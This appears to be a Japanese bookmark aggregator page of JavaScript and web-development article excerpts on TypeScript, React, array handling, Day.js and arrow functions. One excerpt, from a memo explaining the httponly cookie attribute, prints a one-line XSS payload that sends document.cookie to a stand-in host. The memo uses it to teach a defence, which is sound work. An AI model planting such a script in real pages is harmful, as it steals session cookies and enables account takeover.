TypeScript入門『サバイバルTypeScript』〜実務で使うなら最低限ここだけはおさえておきたいこと〜
本書『サバイバルTypeScript』は実務でTypeScriptを使う開発者のための入門書です。そして、このページはTypeScriptの特徴を最速で把握できるよう、数百ページからなる本書のコンテンツをつまみ食いした要約です。 » 本書ついて詳しく知る » とにかく今すぐTypeScriptを書いてみたい TypeScriptとはJavaScriptのスーパーセットとなるプログラミング言語。静的型付け言語であり、プログラムの正しさが静的に検査できる。ライブラリやIDEなどの開発環境が充実しており、大きなエコシステムを持っている。Microsoftが2012年に開発し、オープンソースで公開した。» TypeScriptの特徴について詳しく知る » TypeScript誕生の背景について詳しく知る TypeScriptはJavaScriptのスーパーセットスーパーセットとは、元の言語との
CSS+JSでルーレット
About HTML Preprocessors HTML preprocessors can make writing HTML more powerful or convenient. For instance, Markdown is designed to be easier to write and read for text documents and you could write a loop in Pug. Learn more · Versions Adding Classes In CodePen, whatever you write in the HTML editor is what goes within the <body> tags in a basic HTML5 template. So you don't have access to higher-
React、過剰に複雑な代物。 - Qiita
はいさい！ちゅらデータぬオースティンやいびーん！ 今回の記事は筆者に珍しく、技術紹介ではなく、僕の個人的な意見を書きます。あくまでも、自説です。 React自体は画期的で、プログラミング界に貢献したプロジェクトだと思っていますし、完全に否定したいわけではありません。 Reactに対する違和感＝芽生えては大きく育った種 筆者はReactがとても好きでした。JavaScriptが好きになったきっかけもReactでした。何から何までもReactで書き直して、Custom Hooksを作って、refを子部品に渡したり、バリバリ満喫していました。 Vueも仕事の関係で習得せざるを得なくなったのですが、Vueは最高に大嫌いでした。これならReactで書き直してやるぅ！と思ったりも。 Reactについて社内でも導入を推進したり、React入門の勉強会を開いたりもしています。 しかし、そんな筆者は、最近に
JavaScript で Beep 音を鳴らす方法 - Qiita
JavaScript で Beep 音 を鳴らしたかったのですが，beep()のような関数はなくて，自作する必要があります． 今回は，JavaScript だけでなんとかできないかなーと思った調べたものをまとめます！ まずは結果から...こんな感じで1行でできますね！ new Audio("data:audio/wav;base64,UklGRnoGAABXQVZFZm10IBAAAAABAAEAQB8AAEAfAAABAAgAZGF0YQoGAACBhYqFbF1fdJivrJBhNjVgodDbq2EcBj+a2/LDciUFLIHO8tiJNwgZaLvt559NEAxQp+PwtmMcBjiR1/LMeSwFJHfH8N2QQAoUXrTp66hVFApGn+DyvmwhBTGH0fPTgjMGHm7A7+OZSA0PVqzn77BdGAg+ltryxnMpBSl+zPLaizsI
JavaScriptの配列の要素を前後の要素と入れ替える | infoScoop開発者ブログ
この前、JavaScriptの配列のある要素を一つ前（一つ後ろ）の要素と入れ替えたい、という状況になりました。 Arrayオブジェクトのメソッドにはそれらしきものはありませんでしたが、spliceというメソッドを使って実現できそうでした。 spliceメソッドについては、以下を参照してください。 http://www.tohoho-web.com/js/array.htm#splice 以下、実行例です。 var array = new Array("あ", "い", "う", "え", "お"); // 入れ替える文字のindex var index; // "う"を一つ前の"い"と入れ替え index = 2; array.splice(index-1, 2, array[index], array[index-1]); alert(array); // => あ,う,い,え,お //
【JavaScript】配列の要素の入れ替え - B-Teck!
配列の要素の順番を入れ替えるとき、 let temp = ary[x]; ary[x] = ary[y]; ary[y] = temp; みたいにやってたけど、 なんか1行でできるらしい。 function swap(a,x,y){ a[x]=[a[y],a[y]=a[x]][0]; return a; } 最初見たとき意味わかんなかったんだけど、コメント追加して書き下すとこう。 function swap(array,index1,index2){ // array[y]の値を添え字0に、 // array[y]=array[index1]の「代入の実行結果」を添字1に持った配列を作成 let array2 = [array[index2],array[index2]=array[index1]]; // 上記の配列の添字0をarray[index1]に代入することで、 // 引数の配列
Web上で画像をトリミングするにはCroppieがいい感じかもしれない - Qiita
P&Dアドベントカレンダー10日目の記事です。まだ10日目です。UTC的にはまだ10日目です。 ブラウザで画像を切り取るとき 画像をトリミングするといえば、「Cropper.js」といったツールや他にも「Jcrop」などがあります。これらの共通点としては、画像のトリミング範囲をバウンディングボックスを動かす形で指定するところでしょう。 Cropper.js Jcrop しかし、Twitterのような画像のトリミング方法を採用したとき、上記のライブラリだと厳しいものがある。 その時に活躍するライブラリが「Croppie」です。
JavaScript での時刻操作に Moment.js ではなく Day.js を利用し続けている理由
JavaScript での時刻操作に Moment.js ではなく Day.js を利用し続けている理由2020/09/21 昨日、拙作の Nuxt.js プラグインである @nuxtjs/dayjs の v1.2.0 をリリースしました。 このプラグイン自体は2019年3月に開発をはじめて、おおよそ一年半ほど管理してるのですが、それ以前から JavaScript での時刻操作では Day.js を使ってきました。 Moment.js のプロジェクト終了が告知され、時刻操作ライブラリに注目が集まっていることなので、今一度 Day.js の採用理由についてまとめてみます。 Day.js について iamkun によって開発されている時刻操作のライブラリです。Moment や date-fns などは Organization によって管理されていますが、時刻操作ライブラリとしては珍しく個人に
clipboard.js
Why Copying text to the clipboard shouldn't be hard. It shouldn't require dozens of steps to configure or hundreds of KBs to load. But most of all, it shouldn't depend on Flash or any bloated framework. That's why clipboard.js exists. Install You can get it on npm. npm install clipboard --save Or if you're not into package management, just download a ZIP file. Setup First, include the script locat
iOS 写真アップロード ( input type=file ) の画像は JFIF と Exif の2種類ある - Qiita
<input type="file"> で iOS から写真をアップロードする際に気をつけること、それは写真の選択によってアップロードされる画像の中身が微妙に変わることです。 上にある「写真を撮る」と「フォトライブラリ」で異なります。 何が違うのか？ 写真のメタ情報フォーマットが異なります。 写真を撮る: JFIF フォトライブラリ: Exif JFIF とは 写真を撮るからアップロードされるファイルは JFIF フォーマットになっています。JFIF というのは米C-Cube Microsystems社によって提唱された画像メタ情報を埋め込むためのフォーマット仕様です。具体的には SOI (0xFF D8 ) の直後に APP0 Marker ( 0xFF E0 ) がきます。解像度やサムネイルの情報が格納されています。 もしサムネイルがある場合は、この後にサムネイル情報が来ますが iOS
配列を征する者はJSを制す。JavaScriptのスマートな配列操作テクニック - ICS MEDIA
JavaScriptでコードを記述する際、配列の各要素について処理をするケースは頻出します。開発の現場で配列操作の処理を見ていると、次のようなケースがよくあります。 配列の非破壊の望まれる場面が増えているが、元の配列を破壊操作している filter()やevery()など配列のメソッドで書けるところを、forEach()メソッドやfor ... of文を使ってコードを記載し、冗長になっている 記述しても効果のないArray.from()を使用している コード的には問題なく、アプリケーションは意図的に動作しているかもしれません。しかし、冗長な記述は可読性が低下し、予期せぬバグを誘発する可能性があるでしょう。 本記事では、配列操作でよく見かける冗長な記述を、簡潔な記述で置き換える方法について解説します。 本記事で紹介するJavaScriptの配列操作のチートシートを用意したので、まとめて読みた
Cookieを盗む例とhttponly属性 at softelメモ
以下は、とても単純なJavascriptによる例。 document.write('<img src="http://example.com/?x=' +escape(document.cookie) + '">'); example.com に対してGET渡しでdocument.cookieが送信される。 取得されたcookieにセッションIDが含まれるとセッションIDが他人に知られるところとなる。 リンクを踏ませるなどの方法でHTML中に上のようなスクリプトを仕込むことができると、攻撃が成立する。 対策例 document.cookieで取得できてしまうから危険なのでは？ → 発行するcookieにhttponly属性を付与して、document.cookieで取得できなくしよう WordPressでも以下のような書き方をしていた。PHP5.2.0で追加された第7引数でhttponly
HTML FormにPUT/DELTEは必要なのか、あるいはJSer界の分断 #桜JS - teppeis blog
先日、都内某所で開催された#桜JSに参加したので、個人の日記レベルの感想を書いてみる。 #桜JS - Togetterまとめ 桜JSでご飯を食べながらLT大会をした | Web scratch 細かいことはazuさんのまとめを見てもらうとして、個人的におもしろかったのがHTML FormのPUT/DELETEについての議論。 なぜ html の form は PUT / DELETE をサポートしないのか？ - Block Rockin’ Codes Jxckさんの経緯まとめを踏まえて、じゃあこれからHTML FormにPUT/DELETEを追加する必要あるの？っていう点で意見が割れた。 個人的には、この話を聞いたとき、確かに仕様としては欠けてる感じがするけど、いまさら実装されても自分はForm PUT/DELETE使うことはないだろうなと思っていた。理由は、FormでPUT/DELETE
JavaScriptの配列の使い方まとめ。要素の追加,結合,取得,削除。 - Qiita
はじめに ここではJavaScriptの配列である、Arrayの基本的な使い方をまとめました。主な内容としては、要素の追加、結合、取得、削除となります。 JavaScriptの最新情報などの技術系のみをつぶやくTwitterをはじめました。 Twitter: @takeharumikami RSSはこちら RSS: http://qiita.com/takeharu/feed Feedly: フォロー
本当に倒すべきだったのは jQuery ではなくテンプレートエンジンだった - fsubal
そうはっきり言ったほうが良かった。いや言わなくても伝わる現場は良かったんだけど、伝わらないままごく一部だけをコンポーネントに移行、それ以外はただ生 DOM API に変えて終わり（あるいは他は jQuery のまま）みたいな「モダン化」で済ます余地を与えたのは発信の失敗だった……という10年代の振り返り。 テンプレートエンジンはなぜ倒された方が（…といって悪ければ、変わったほうが）良いのかは端的に指摘できて、それは初回レンダリングしか考慮してないからだということになる。 Web の UI には状態変化がつきもの（になったのは実は最近の話）だが、テンプレートエンジンは1回目のレンダリングだけを担当し、変化した後の2回目以降の見え方は JavaScript が担当するというパラダイムを構成する。
JavaScript: 通常の関数とアロー関数の違いは「書き方だけ」ではない。異なる性質が10個ほどある。 - Qiita
本稿では、アロー関数とfunctionキーワードを使って定義される関数を区別するため、functionキーワードを使うほうの関数を「通常関数」と呼ぶことにします。英文で見かけるregular functionの翻訳になりますが、これは公式の用語ではなく、解説の便宜上のものとご理解頂ければと思います。単に「関数」というときは、通常関数とアロー関数どちらも指すこととします。 関数の歴史 歴史的に見ると、通常関数は古くからある言語機能であるのに対し、アロー関数は新しいものです。アロー関数はES2015(ES6)で導入されました。導入にあたっては、関数を短く書きたい、thisを束縛したくないという2つの理由があります。 通常関数とアロー関数の性質の違い 通常関数とアロー関数では、構文が違うというのは見て分かると思います。構文についての違いはここでは解説しません。 ここでは、文法以外の相違点をひとつ
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
JavaScript 今ドキな書き方 ES2020
Modify Curves with Anchor Points
GitHub - balazsbotond/urlcat: A URL builder library for JavaScript.
なぜ html の form は PUT / DELETE をサポートしないのか？
